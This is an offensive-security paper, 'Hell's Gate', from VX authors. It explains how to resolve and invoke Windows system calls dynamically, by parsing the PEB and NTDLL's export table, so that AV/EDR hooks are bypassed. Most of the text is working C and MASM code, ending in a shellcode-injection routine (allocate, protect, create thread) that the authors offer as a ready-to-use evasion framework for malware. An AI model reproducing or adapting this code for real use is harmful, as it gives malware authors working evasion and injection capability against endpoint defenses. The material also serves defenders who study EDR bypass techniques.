
Hell’s Gate 
by smelly__vx (@RtlMateusz) and am0nsec (@am0nsec) 

 

“I [am] he that liveth, and was dead; and, behold, I am alive for evermore, Amen; and have the keys 

of hell and of death.” - (Revelation 1:18) 

As of recent it has become more and more evident individuals have become dependent on tools 

and/or methodologies which rely on static elements for function invocation. In this case, we are 

referring to system calls (syscalls). In an ideal scenario, static and/or hard coded elements should be 

avoided - rarely do you see VX deployed which can possess the ability to reliably assume its target 

platform subsystem. Hence, syscalls are not utilised often in the wild. This has produced VX which 

takes a more archaic approach - rather invoking system calls; the VX relies on well-established 

methodologies, the run-time reproduction of LoadLibrary, GetProcAddress, and FreeLibrary. This 

method has been sufficient in nullifying the PE files Import Address Table (IAT) as well as evading 

rudimentary heuristic analysis. 

Hitherto the production of this paper we ourselves have avoided syscalls. The hard coded elements 

are poor practice. However, we are happy to report that we have lifted the veil, we have identified 

an approach capable of programmatically aggregating syscalls, at run-time, shedding us of 

unnecessary dependencies. For the sake of brevity, this paper will primarily focus on dynamically 

retrieving syscalls. This paper assumes you possess knowledge pertaining to both Windows internals 

and the Windows PE file format. As a final note, as we conclude this segment, the Hell’s Gate term, 

beyond the religious connotation, is a reference to the famous Heaven’s Gate technique developed 

by Roy G. Biv which demonstrated executing 32bit code from a 64bit process or vice versa. (link). 
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Part 1. The Historic Approach 
For over 20 years, one of the most popular forms of evasion, in regards to both dynamic and static 

analysis, was nullifying the Import Address Table (IAT) of the PE file by programmatically recreating 

the well-known functions LoadLibrary, GetProcAddress, and FreeLibrary. This methodology achieved 

notoriety when published in the 1997 e-zine 29a Labs volume #2 article GetProcAddress-alike utility 

by Jack Qwerty (link). His code illustrated parsing the in-memory module Kernel32.dll's Export 

Address Table (EAT) and programmatically resolving function addresses required for his VX infection 

routines. He developed this utility to aid in infector development, as it did not rely on hard coded 

function addresses. 

Although this method will continue to be a valid approach, and will still be continued to be used by 

many VX authors, there has been an ongoing trend of Red Teamers to utilise syscalls. In June 2019, 

Cornelis de Plaa (@Cneelis) published an article titled “Red Team Tactics: Combining Direct System 

Calls and sRDI to bypass AV/EDR” (link). This article popularised the usage of syscalls, introducing this 

methodology for its enhanced defense/evasion capabilities. Shortly after, Jackson T. (@Jackson_T) 

released on GitHub (link) the SysWhisper python utility script. This [syscalls] eliminates, first, the 

need for an in-memory module to be linked implicitly or explicitly, thus achieving absolute position 

independence, and second, this method disregards the use of documented (e.g. VirtualAlloc) to 

undocumented (e.g. NtAllocateVirtualMemory) via API forwarding which carry the potential to be 

hooked by installed EDR or AV products. 

At first glance this seems superior however, a problem introduced itself: SysWhisper relies solely on 

statically defined syscall numbers. This script, as well as other proof-of-concepts discovered online, 

are incapable of self-resolving and dynamically invoking syscalls during run-time. As a result, it would 

not be an overstatement to say that they are extraordinarily dependent on the work of Mateusz 

Jurczyk (@j00ru): Windows X86-64 System Call Table. 

After we reviewed SysWhisper, the work of j00ru, and several proof-of-concepts we decided to 

create Hell’s Gate. This general usage code base self-resolves syscalls without the need of static 

elements. Additionally, this general usage code base makes zero function invocations to aggregate 

the syscalls themselves. 
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Part 2. Hell’s Gate 
With the exception of minimal and pico processes on the Windows 10 OS, all user mode processes 

(Ring 3) by default implicitly link against NTDLL.dll as this is where the functionality for the image 

loader resides. The image loader functionality present within NTDLL.dll contains necessary 

components responsible for loading (or unloading) other implicitly linked, or delay loaded modules 

the PE image in question may require to operate correctly. Additionally, NTDLL.dll will contain an 

array of functionality which houses the final destination of API forwards. These forwards are the 

location where user mode API invocations will transition into kernel memory address space (Ring 0) 

via syscalls. In other words, the functions within the NTDLL.dll module are wrappers around syscalls, 

which is what we are aiming to programmatically resolve at run-time without relying on hard coded 

definitions. 

Because NTDLL.dll is implicitly linked against virtually every PE image loaded into memory we can 

utilise this in-memory module to our advantage in regards to aggregating syscalls. Unless the PE 

image’s InMemoryModuleList has been tampered with, a common technique employed by AV 

engines, NTDLL.dll will be the second in-memory module linked against the DLL. The first being the 

PE image itself. The data output below illustrates Powershell.exe’s InMemoryOrderModuleList. 

0:000> ?? ((ntdll!_LDR_DATA_TABLE_ENTRY*)(((int64)((ntdll!_PEB*)@@(@$peb))->Ldr-
>InMemoryOrderModuleList.Flink) - 0x10))->BaseDllName 
struct _UNICODE_STRING 
 "powershell.exe" 
   +0x000 Length           : 0x1c 
   +0x002 MaximumLength    : 0x1e 
   +0x008 Buffer           : 0x00000239`10bc2b6e  "powershell.exe" 
0:000> ?? ((ntdll!_LDR_DATA_TABLE_ENTRY*)(((int64)((ntdll!_PEB*)@@(@$peb))->Ldr-
>InMemoryOrderModuleList.Flink->Flink) - 0x10))->BaseDllName 
struct _UNICODE_STRING 
 "ntdll.dll" 
   +0x000 Length           : 0x12 
   +0x002 MaximumLength    : 0x14 
   +0x008 Buffer           : 0x00007fff`b049f650  "ntdll.dll" 
0:000> 

 

To those unfamiliar with the PEB (Process Environment Block), the Process Environment Block is a 

user-mode structure assigned to each process from the kernel. A great deal of information is 

available online describing this structure, it’s contents, how it is established, and its historical 

significance. For the sake of brevity, we will not go into much detail on how it is created, why it is 

created, or historical changes between various Windows versions. In this paper, we will specifically 

address how to access this structure to programmatically traverse the _PEB_LDR_DATA member 

and any of its sub-structures and components. 

The PEB’s location depends on whether or not the process is operating in either a 32bit or 64bit 

address space. In a 32bit address space, the PEB can be found at the FS register with a 48byte offset. 

Conversely, a 64-bit process can locate its PEB at the GS register with a 96byte offset. The code 

snippet below illustrates how to use Microsoft Intrinsic functions to retrieve the PEB for both 32bit 

or 64bit processes. 

_readgsqword intrinsic function documentation can be found here. 

_readfsdword intrinsic function documentation can be found here. 

 

https://books.google.com/books?id=y83LDgAAQBAJ&pg=PT139&lpg=PT139&dq=pico+processes+ntdll&source=bl&ots=kHfqLuQqmz&sig=ACfU3U2PMek1QpIarkIbiePah7ZRm-oRbg&hl=en&sa=X&ved=2ahUKEwiivd6TyOPpAhVNRqwKHdjKA90Q6AEwAXoECAsQAQ#v=onepage&q=pico%20processes%20ntdll&f=false
https://docs.microsoft.com/en-us/cpp/intrinsics/readgsbyte-readgsdword-readgsqword-readgsword?view=vs-2019
https://docs.microsoft.com/en-us/cpp/intrinsics/readfsbyte-readfsdword-readfsqword-readfsword?view=vs-2019


int main(VOID) { 
      PPEB Peb = (PPEB)__readfsdword(0x30); //32bit process 
      PPEB Peb = (PPEB)__readgsqword(0x60); //64bit process 
 
      return ERROR_SUCCESS; 
} 

 

(Un)fortunately, Microsoft does not define the PEB data structure. In order to retrieve the PEB 

successfully you must define it yourself. This can be a dangerous game due to the constant changes 

to the PEB between various Windows versions. The long and painful structure below is the PEB 

structure I define in my malcode. 

typedef struct _LSA_UNICODE_STRING { 
    USHORT Length; 
    USHORT MaximumLength; 
    PWSTR  Buffer; 
} LSA_UNICODE_STRING, *PLSA_UNICODE_STRING, UNICODE_STRING, *PUNICODE_STRING; 
 
typedef struct _LDR_MODULE { 
    LIST_ENTRY              InLoadOrderModuleList; 
    LIST_ENTRY              InMemoryOrderModuleList; 
    LIST_ENTRY              InInitializationOrderModuleList; 
    PVOID                   BaseAddress; 
    PVOID                   EntryPoint; 
    ULONG                   SizeOfImage; 
    UNICODE_STRING          FullDllName; 
    UNICODE_STRING          BaseDllName; 
    ULONG                   Flags; 
    SHORT                   LoadCount; 
    SHORT                   TlsIndex; 
    LIST_ENTRY              HashTableEntry; 
    ULONG                   TimeDateStamp; 
} LDR_MODULE, *PLDR_MODULE; 
 
typedef struct _PEB_LDR_DATA { 
    ULONG                   Length; 
    ULONG                   Initialized; 
    PVOID                   SsHandle; 
    LIST_ENTRY              InLoadOrderModuleList; 
    LIST_ENTRY              InMemoryOrderModuleList; 
    LIST_ENTRY              InInitializationOrderModuleList; 
} PEB_LDR_DATA, *PPEB_LDR_DATA; 
 
typedef struct _PEB { 
    BOOLEAN                 InheritedAddressSpace; 
    BOOLEAN                 ReadImageFileExecOptions; 
    BOOLEAN                 BeingDebugged; 
    BOOLEAN                 Spare; 
    HANDLE                  Mutant; 
    PVOID                   ImageBase; 
    PPEB_LDR_DATA           LoaderData; 
    PVOID                   ProcessParameters; 
    PVOID                   SubSystemData; 
    PVOID                   ProcessHeap; 
    PVOID                   FastPebLock; 
    PVOID                   FastPebLockRoutine; 
    PVOID                   FastPebUnlockRoutine; 
    ULONG                   EnvironmentUpdateCount; 
    PVOID*                  KernelCallbackTable; 
    PVOID                   EventLogSection; 
    PVOID                   EventLog; 
    PVOID                   FreeList; 
    ULONG                   TlsExpansionCounter; 
    PVOID                   TlsBitmap; 
    ULONG                   TlsBitmapBits[0x2]; 
    PVOID                   ReadOnlySharedMemoryBase; 
    PVOID                   ReadOnlySharedMemoryHeap; 
    PVOID*                  ReadOnlyStaticServerData; 
    PVOID                   AnsiCodePageData; 
    PVOID                   OemCodePageData; 



    PVOID                   UnicodeCaseTableData; 
    ULONG                   NumberOfProcessors; 
    ULONG                   NtGlobalFlag; 
    BYTE                    Spare2[0x4]; 
    LARGE_INTEGER           CriticalSectionTimeout; 
    ULONG                   HeapSegmentReserve; 
    ULONG                   HeapSegmentCommit; 
    ULONG                   HeapDeCommitTotalFreeThreshold; 
    ULONG                   HeapDeCommitFreeBlockThreshold; 
    ULONG                   NumberOfHeaps; 
    ULONG                   MaximumNumberOfHeaps; 
    PVOID**                 ProcessHeaps; 
    PVOID                   GdiSharedHandleTable; 
    PVOID                   ProcessStarterHelper; 
    PVOID                   GdiDCAttributeList; 
    PVOID                   LoaderLock; 
    ULONG                   OSMajorVersion; 
    ULONG                   OSMinorVersion; 
    ULONG                   OSBuildNumber; 
    ULONG                   OSPlatformId; 
    ULONG                   ImageSubSystem; 
    ULONG                   ImageSubSystemMajorVersion; 
    ULONG                   ImageSubSystemMinorVersion; 
    ULONG                   GdiHandleBuffer[0x22]; 
    ULONG                   PostProcessInitRoutine; 
    ULONG                   TlsExpansionBitmap; 
    BYTE                    TlsExpansionBitmapBits[0x80]; 
    ULONG                   SessionId; 
} PEB, *PPEB; 

 

As you can see, the PEB is a rather robust structure. The members within this structure are incredibly 

valuable to not only the Windows OS, but also to us in our goal to aggregate syscalls. Specifically, the 

member we are most interested in is LoaderData. 

PPEB_LDR_DATA LoaderData; 

This member allows an author to forward link, or backward link, through a double-linked list to 

enumerate in-memory modules (DLLs) associated with the binary in question. Each _LIST_ENTRY 

InMemoryOrderModuleList can be typecast to a _LDR_MODULE structure, which provides greater 

details about the in-memory module including the base address and DLL name. 

In our first example, we will retrieve the PEB and enumerate in-memory modules programmatically 

for a 64 bit PE file. 

#include <windows.h> 
#include <stdio.h> 
#include "peb.h" 
 
int main(VOID) { 
    PPEB Peb = (PPEB)__readgsqword(0x60); 
    PLDR_MODULE pLoadModule; 
 
    pLoadModule = (PLDR_MODULE)((PBYTE)Peb->LoaderData->InMemoryOrderModuleList.Flink->Flink – 0x10); 
 
    printf("%ws\r\n", pLoadModule->FullDllName.Buffer); 
    return ERROR_SUCCESS; 
} 

 

In our code above, we have retrieved the PEB for our current process by getting a pointer to the GS 

register at an offset of 96 bytes (0x60). We access the LoaderData member and Flink forward to the 

second in-memory order module. Additionally, it is important to note that in our forward link we 

subtract 16-bytes from the Flink to ensure we are aligned correctly (this 16byte alignment must be 

present in both 32bit and 64bit processes). Subsequently we print FullDllName.Buffer of the in-

memory module to see our result. Under most scenarios, the second in-memory module will be 



NTDLL.dll. However, as stated previously, some antivirus engines, such as AVG, may alter the in-

memory order module list. If you do not programmatically verify the in-memory module you have 

flinked to, you may be accessing the wrong module and thus will fail to load any associated 

functionality. 

Understanding this we now possess the capabilities to get the base address of the in-memory 

module in question. This opens up Pandora's box - we now have the ability to traverse the modules 

export address table and dynamically resolve system calls. 

In this paper we will not describe PE headers. We will explain how we will traverse them, as it falls 

within scope of this paper, but each PE headers purpose, data it contains, and characteristics will not 

be discussed. If you’re interested in learning more about the PE file format and its associated 

elements I implore you to read Port Executable File Format by Krzysztof Kowalczyk. 

Our objective is to reach the modules Export Address Table. Our formula is as follows: 

1. Get base address; 

2. Get _IMAGE_DOS_HEADER and verify it by checking the IMAGE_DOS_SIGNATURE 

3. Traverse the _IMAGE_NT_HEADER, _IMAGE_FILE_HEADER and _IMAGE_OPTIONAL_HEADER 

4. Locate the Export Address Table within the _IMAGE_OPTIONAL_HEADER, which is inside the 

_IMAGE_DATA_DIRECTORY, which we will typecast to an _IMAGE_EXPORT_DIRECTORY data 

structure. 

Lets fill in the blanks in our formula: 

#include <windows.h> 
#include "peb.h" 
 
int main(VOID) { 
    PPEB Peb = (PPEB)__readgsqword(0x60); 
    PLDR_MODULE pLoadModule; 
    PBYTE ImageBase; 
    PIMAGE_DOS_HEADER Dos = NULL; 
    PIMAGE_NT_HEADERS Nt = NULL; 
    PIMAGE_FILE_HEADER File = NULL; 
    PIMAGE_OPTIONAL_HEADER Optional = NULL; 
    PIMAGE_EXPORT_DIRECTORY ExportTable = NULL; 
 
    pLoadModule = (PLDR_MODULE)((PBYTE)Peb->LoaderData->InMemoryOrderModuleList.Flink->Flink - 16); 
 
    ImageBase = (PBYTE)pLoadModule->BaseAddress; 
 
    Dos = (PIMAGE_DOS_HEADER)ImageBase; 
    if (Dos->e_magic != IMAGE_DOS_SIGNATURE) 
        return 1; 
 
    Nt = (PIMAGE_NT_HEADERS)((PBYTE)Dos + Dos->e_lfanew); 
 
    File = (PIMAGE_FILE_HEADER)(ImageBase + (Dos->e_lfanew + sizeof(DWORD)); 
 
    Optional = (PIMAGE_OPTIONAL_HEADER)((PBYTE)File + sizeof(IMAGE_FILE_HEADER)); 
 
    ExportTable = (PIMAGE_EXPORT_DIRECTORY)(ImageBase + Optional->DataDirectory[0].VirtualAddress); 
 
    return ERROR_SUCCESS; 
} 
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https://docs.microsoft.com/en-us/windows/win32/api/winnt/ns-winnt-image_optional_header32
https://docs.microsoft.com/en-us/windows/win32/api/winnt/ns-winnt-image_data_directory
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In the code above, after we successfully retrieve the base address of the in-memory module we use 

this to typecast the memory address to the IMAGE_DOS_HEADER. The logic we use is as follows: 

1. _IMAGE_DOS_HEADER is retrieved from the base address 

2. _IMAGE_NT_HEADER is the result of adding the _IMAGE_DOS_HEADER and it’s e_lfanew 

member 

3. _IMAGE_FILE_HEADER is retrieved by adding the _IMAGE_DOS_HEADER + the sizeof a 

DWORD (unsigned integer value) and adding the base address of the in-memory module 

4. _IMAGE_OPTIONAL_HEADER is retrieved by adding _IMAGE_FILE_HEADER with the size of 

the IMAGE_FILE_HEADER. 

Finally, the _IMAGE_EXPORT_DIRECTORY is retrieved by adding the image base of the in-memory 

module with the address of the _IMAGE_OPTIONAL_HEADER member DataDirectory, using the 

virtual address of the first ordinal in the array (zero). 

Because we have now successfully traversed to in-memory modules Export Address Table, let's 

examine the export address table under the microscope. 

0:000> ?? ((ntdll!_LDR_DATA_TABLE_ENTRY*)(((int64)((ntdll!_PEB*)@@(@$peb))->Ldr-
>InMemoryOrderModuleList.Flink->Flink) - 0x10))->DllBase 
void * 0x00007fff`b0370000 
0:000> ?? ((ntdll!_IMAGE_NT_HEADERS64*)(((ntdll!_IMAGE_DOS_HEADER*)@@(0x00007fff`b0370000))->e_lfanew 
+ 0x00007fffb0370000))->OptionalHeader.DataDirectory 
struct _IMAGE_DATA_DIRECTORY [16] 0x00007fff`b0370170 
   +0x000 VirtualAddress   : 0x14fe60 
   +0x004 Size             : 0x12e4f 
0:000> ?? (OLE32!_IMAGE_EXPORT_DIRECTORY*)@@(0x00007fff`b0370000 + 0x14fe60) 
struct _IMAGE_EXPORT_DIRECTORY * 0x00007fff`b04bfe60 
   +0x000 Characteristics  : 0 
   +0x004 TimeDateStamp    : 0xcad89ab4 
   +0x008 MajorVersion     : 0 
   +0x00a MinorVersion     : 0 
   +0x00c Name             : 0x155d6e 
   +0x010 Base             : 8 
   +0x014 NumberOfFunctions : 0x97e 
   +0x018 NumberOfNames    : 0x97d 
   +0x01c AddressOfFunctions : 0x14fe88 
   +0x020 AddressOfNames   : 0x152480 
   +0x024 AddressOfNameOrdinals : 0x154a74 
0:000> 

 

We can begin traversing the export address table for the functions we desire. In order for us to 

successfully resolve function addresses, we will need to do additional arithmetic. First, let’s review 

some attributes about the export address table: 

• FunctionNameAddressArray, an array containing function names 

• FunctionOrdinalAddressArray, this array acts an index for the FunctionAddressArray 

• FunctionAddressArray, an array containing function addresses 

Because we have read access to the location in which all functions are located, it is possible to 

pseudo-disassemble these functions by reading the bytes at the function’s RVA. 

To expand on this concept further, although internal components are subject to change, as 

illustrated by the constant updates provided to j00rus syscall sheet, there are some static elements 

we can use to intelligently, and dynamically, aggregate system calls. System calls are defined as type 

WORD (16 bit unsigned integer) and are stored in the EAX register and executed with the syscall 

operation (sysenter for x86). These functions within NTDLL.dll all share a similar structure of 

execution. 



For example: 

0:000> uf ntdll!NtCreateMutant 
ntdll!NtCreateMutant: 
00007fff`b040c3d0 4c8bd1          mov     r10,rcx 
00007fff`b040c3d3 b8b3000000      mov     eax,0B3h 
00007fff`b040c3d8 f604250803fe7f01 test    byte ptr [SharedUserData+0x308 (00000000`7ffe0308)],1 
00007fff`b040c3e0 7503            jne     ntdll!NtCreateMutant+0x15 (00007fff`b040c3e5)  Branch 
 
ntdll!NtCreateMutant+0x12: 
00007fff`b040c3e2 0f05            syscall 
00007fff`b040c3e4 c3              ret 
ntdll!NtCreateMutant+0x15: 
00007fff`b040c3e5 cd2e            int     2Eh 
00007fff`b040c3e7 c3              ret 
0:000> uf ntdll!NtPlugPlayControl 
ntdll!NtPlugPlayControl: 
00007fff`b040d3b0 4c8bd1          mov     r10,rcx 
00007fff`b040d3b3 b832010000      mov     eax,132h 
00007fff`b040d3b8 f604250803fe7f01 test    byte ptr [SharedUserData+0x308 (00000000`7ffe0308)],1 
00007fff`b040d3c0 7503            jne     ntdll!NtPlugPlayControl+0x15 (00007fff`b040d3c5)  Branch 
 
ntdll!NtPlugPlayControl+0x12: 
00007fff`b040d3c2 0f05            syscall 
00007fff`b040d3c4 c3              ret 
 
ntdll!NtPlugPlayControl+0x15: 
00007fff`b040d3c5 cd2e            int     2Eh 
00007fff`b040d3c7 c3              ret 
0:000> 

 

As shown, functions move into the R10 register from the RCX register and then move the system call 

into EAX. Subsequently, NTDLL.dll will verify whether or not the current thread execution 

environment is x64 or x86. This is illustrated by the subsequent test to SharedUserData+0x308. If 

the execution environment is determined to be x64 based, the system call is executed otherwise the 

function returns. 

Following this logic the system call of a function can be calculated as follows based on the address of 

the function in memory: 

0:000> db (ntdll!NtCreateMutant + 0x4) L 2 
00007fff`b040c3d4  b3 00                                            .. 
0:000> ? (0x00 << 8) | 0xb3 
Evaluate expression: 179 = 00000000`000000b3 
0:000> db (ntdll!NtPlugPlayControl + 0x4) L2 
00007fff`b040d3b4  32 01                                            2. 
0:000> ? (0x01 << 8) | 0x32 
Evaluate expression: 306 = 00000000`00000132 
0:000> 

 

 

 

 

 

 

 



Now that system calls can be dynamically retrieved at run-time we still need a way to dynamically 

execute the system calls. This is where Hell’s Gate comes into play: 

.data 
    wSystemCall DWORD 000h 
 
.code 
    HellsGate PROC 
        mov wSystemCall, 000h 
        mov wSystemCall, ecx 
        ret 
    HellsGate ENDP 
 
    HellDescent PROC 
        mov r10, rcx 
        mov eax, wSystemCall 
 
        syscall 
        ret 
    HellDescent ENDP 
End 

 

This really small Microsoft Macro Assembler (MASM) code has two methods: HellsGate and 

HellDescent. The first function will modify the syscall that will be executed and the second one is 

actually executing the system call. 

Our function call looks as follows: 

WORD syscall = 0x00b3; 
HellsGate(syscall); 
 
HANDLE hMutant = INVALID_HANDLE_VALUE; 
NTSTATUS st = HellDescent(&hMutant, MUTANT_ALL_ACCESS, NULL, TRUE); 

  



Part 3. Implementation 
In this section, we will review our proof-of-concept as well as illustrate an actual implementation of 

Hells Gate, which can be readily used.  

A high-level overview of Hells Gate will be as follows: declare a _VX_TABLE_ENTRY structure, which 

contains data associated with a unique system call. Each system call will have its own unique 

_VX_TABLE_ENTRY structure assigned to it. The members within the _VX_TABLE_ENTRY structure 

will be a pointer to the functions address in the in-memory module, a 64bit unsigned integral hash 

representing the function name in the form of a string, and the syscall itself as a 16bit unsigned 

integer. Additionally, each _VX_TABLE_ENTRY structure will be a member of a larger single 

_VX_TABLE structure. 

typedef struct _VX_TABLE_ENTRY { 
    PVOID   pAddress; 
    DWORD64 dwHash; 
    WORD    wSystemCall; 
} VX_TABLE_ENTRY, * PVX_TABLE_ENTRY; 
 
typedef struct _VX_TABLE { 
    VX_TABLE_ENTRY NtAllocateVirtualMemory; 
    VX_TABLE_ENTRY NtProtectVirtualMemory; 
    VX_TABLE_ENTRY NtCreateThreadEx; 
    VX_TABLE_ENTRY NtWaitForSingleObject; 
} VX_TABLE, * PVX_TABLE; 

 

As mentioned in Part 2 of this paper, because this code is aiming to be position independent in 

complete totality, zero function invocations will be made to populate the _VX_TABLE structure or 

any of it’s _VX_TABLE_ENTRY members. When our binary is loaded into memory, we will get a 

pointer to the TIB then use this to get access to the PEB. Subsequently, we will ensure that both the 

TIB and PEB pointer are valid pointers. Finally, we validate the OS is Windows 10 by checking the PEB 

member OSMajorVersion. 

PTEB pCurrentTeb = RtlGetThreadEnvironmentBlock(); 
PPEB pCurrentPeb = pCurrentTeb->ProcessEnvironmentBlock; 
if (!pCurrentPeb || !pCurrentTeb || pCurrentPeb->OSMajorVersion != 0xA) { 
        return 0x1; 
} 
 
PTEB RtlGetThreadEnvironmentBlock() { 
#if _WIN64 
    return (PTEB)__readgsqword(0x30); 
#else 
    return (PTEB)__readfsdword(0x16); 
#endif 
} 

 

 

 

 

 



Again, as mentioned in Part 2 of this paper, we traverse the in-memory order module list to NTDLL, 

confirm our PLDR_DATA alignment by subtracting 16 bytes and then walking the PE image to get 

access to the EAT. 

PLDR_DATA_TABLE_ENTRY pLdrDataEntry = (PLDR_DATA_TABLE_ENTRY)((PBYTE)pCurrentPeb->LoaderData-
>InMemoryOrderModuleList.Flink->Flink - 0x10); 
 
PIMAGE_EXPORT_DIRECTORY pImageExportDirectory = NULL; 
if (!GetImageExportDirectory(pLdrDataEntry->DllBase, &pImageExportDirectory) || pImageExportDirectory 
== NULL) 
        return 0x01; 
 
BOOL GetImageExportDirectory(PVOID pModuleBase, PIMAGE_EXPORT_DIRECTORY* ppImageExportDirectory) { 
    PIMAGE_DOS_HEADER pImageDosHeader = (PIMAGE_DOS_HEADER)pModuleBase; 
    if (pImageDosHeader->e_magic != IMAGE_DOS_SIGNATURE) { 
        return FALSE; 
    } 
 
    PIMAGE_NT_HEADERS pImageNtHeaders = (PIMAGE_NT_HEADERS)((PBYTE)pModuleBase + pImageDosHeader-
>e_lfanew); 
    if (pImageNtHeaders->Signature != IMAGE_NT_SIGNATURE) { 
        return FALSE; 
    } 
 
    *ppImageExportDirectory = (PIMAGE_EXPORT_DIRECTORY)((PBYTE)pModuleBase + pImageNtHeaders-
>OptionalHeader.DataDirectory[0].VirtualAddress); 
    return TRUE; 
} 

 

Now that we have successfully retrieved a pointer to the PE images EAT, we invoke 

GetVxTableEntry, a function used to aggregate information from the PE images EAT and populate 

the _VX_TABLE structure. 

VX_TABLE Table = { 0 }; 
Table.NtAllocateVirtualMemory.dwHash = 0xf5bd373480a6b89b; 
GetVxTableEntry(pLdrDataEntry->DllBase, pImageExportDirectory, &Table.NtAllocateVirtualMemory); 
     
Table.NtCreateThreadEx.dwHash = 0x64dc7db288c5015f; 
GetVxTableEntry(pLdrDataEntry->DllBase, pImageExportDirectory, &Table.NtCreateThreadEx); 
 
Table.NtProtectVirtualMemory.dwHash = 0x858bcb1046fb6a37; 
GetVxTableEntry(pLdrDataEntry->DllBase, pImageExportDirectory, &Table.NtProtectVirtualMemory); 
     
Table.NtWaitForSingleObject.dwHash = 0xc6a2fa174e551bcb; 
GetVxTableEntry(pLdrDataEntry->DllBase, pImageExportDirectory, &Table.NtWaitForSingleObject); 

 

 

 

 

 

 

 

 

 

 



GetVxTableEntry function being defined as follows: 

BOOL GetVxTableEntry(PVOID pModuleBase, PIMAGE_EXPORT_DIRECTORY pImageExportDirectory, PVX_TABLE_ENTRY 
pVxTableEntry) { 
    PDWORD pdwAddressOfFunctions = (PDWORD)((PBYTE)pModuleBase + pImageExportDirectory-
>AddressOfFunctions); 
    PDWORD pdwAddressOfNames = (PDWORD)((PBYTE)pModuleBase + pImageExportDirectory->AddressOfNames); 
    PWORD pwAddressOfNameOrdinales = (PWORD)((PBYTE)pModuleBase + pImageExportDirectory-
>AddressOfNameOrdinals); 
 
    for (WORD cx = 0; cx < pImageExportDirectory->NumberOfNames; cx++) { 
        PCHAR pczFunctionName = (PCHAR)((PBYTE)pModuleBase + pdwAddressOfNames[cx]); 
        PVOID pFunctionAddress = (PBYTE)pModuleBase + 
pdwAddressOfFunctions[pwAddressOfNameOrdinales[cx]]; 
 
        if (djb2(pczFunctionName) == pVxTableEntry->dwHash) { 
            pVxTableEntry->pAddress = pFunctionAddress; 
 
            // MOV EAX 
            if (*((PBYTE)pFunctionAddress + 3) == 0xb8) { 
                BYTE high = *((PBYTE)pFunctionAddress + 5); 
                BYTE low = *((PBYTE)pFunctionAddress + 4); 
                pVxTableEntry->wSystemCall = (high << 8) | low; 
                break; 
            } 
        } 
    } 
 
    return TRUE; 
} 

 

The code illustrated above is fundamentally similar to the archaic methodology of position 

independence of getting the function pointer. However, our code goes beyond the call of duty and 

pseudo-disassembles the function. It validates the 3rd bye of the function, to look for the presence 

of the assembler opcode 0xb8 (MOV EAX). If this opcode is present we continue our pseudo-

disassembly getting the opcodes following 0xb8. Note that the bitwise operation is present because 

syscalls are type WORD and therefore are 2 bytes in size. 

if (*((PBYTE)pFunctionAddress + 3) == 0xb8) { 
        BYTE high = *((PBYTE)pFunctionAddress + 5); 
        BYTE low = *((PBYTE)pFunctionAddress + 4); 
        pVxTableEntry->wSystemCall = (high << 8) | low; 
        break; 
} 

 

Now that data has been successfully aggregated, we can now invoke syscalls dynamically using the 

same assembler code we illustrated in Part 2. 

.data 
    wSystemCall DWORD 0h 
.code 
    HellsGate PROC 
        mov wSystemCall, 0h 
        mov wSystemCall, ecx 
        ret 
    HellsGate ENDP 
 
    HellDescent PROC 
        mov r10, rcx 
        mov eax, wSystemCall 
        syscall 
        ret 
    HellDescent ENDP 
end 

 



Finally, now that all the system calls were resolved at run-time, they can be used to execute a 

payload. In this case this is a simple in-process shellcode injection that will trigger a breakpoint. 

BOOL Payload(PVX_TABLE pVxTable) { 
    NTSTATUS status = 0x00000000; 
    char shellcode[] = "\x90\x90\x90\x90\xcc\xcc\xcc\xcc\xc3"; 
 
    // Allocate memory for the shellcode 
    PVOID lpAddress = NULL; 
    SIZE_T sDataSize = sizeof(shellcode); 
    HellsGate(pVxTable->NtAllocateVirtualMemory.wSystemCall); 
    status = HellDescent((HANDLE)-1, &lpAddress, 0, &sDataSize, MEM_COMMIT, PAGE_READWRITE); 
 
    // Write Memory (i.e. RtlMoveMemory) 
    VxMoveMemory(lpAddress, shellcode, sizeof(shellcode)); 
 
    // Change page permissions 
    ULONG ulOldProtect = NULL; 
    HellsGate(pVxTable->NtProtectVirtualMemory.wSystemCall); 
    status = HellDescent((HANDLE)-1, &lpAddress, &sDataSize, PAGE_EXECUTE_READ, &ulOldProtect); 
 
    // Create thread 
    HANDLE hHostThread = INVALID_HANDLE_VALUE; 
    HellsGate(pVxTable->NtCreateThreadEx.wSystemCall); 
    status = HellDescent(&hHostThread, 0x1FFFFF, NULL, (HANDLE)-1, (LPTHREAD_START_ROUTINE)lpAddress, 
NULL, FALSE, NULL, NULL, NULL, NULL); 
 
    // Wait for 1 seconds 
    LARGE_INTEGER Timeout; 
    Timeout.QuadPart = -10000000; 
    HellsGate(pVxTable->NtWaitForSingleObject.wSystemCall); 
    status = HellDescent(hHostThread, FALSE, &Timeout); 
 
    return TRUE; 
} 

  



Part 4. Conclusion 
This method of pseudo-disassembling NTDLL to retrieve the syscall is not new. This has been subject 

to various papers. However, this paper, to the best of our knowledge, is the only paper currently 

available, online which thoroughly explains the process of pseudo-disassembling NTDLL, or any other 

in-memory module, and aggregating the syscall. Additionally, prior to the release of this paper it 

came to our attention various other individuals released similar papers or code proof-of-concepts. 

Although, none invoked the syscall, rather they simply disassembled NTDLL and printed the syscall 

onto the console. 

We believe Hell’s Gate is excellent in that this is not only a proof-of-concept but also can be a 

general usage framework for dynamically retrieving syscalls, as well as invoking them, without the 

usage of static syscall values. 

 

 

We hope this paper has been informative and helpful. 
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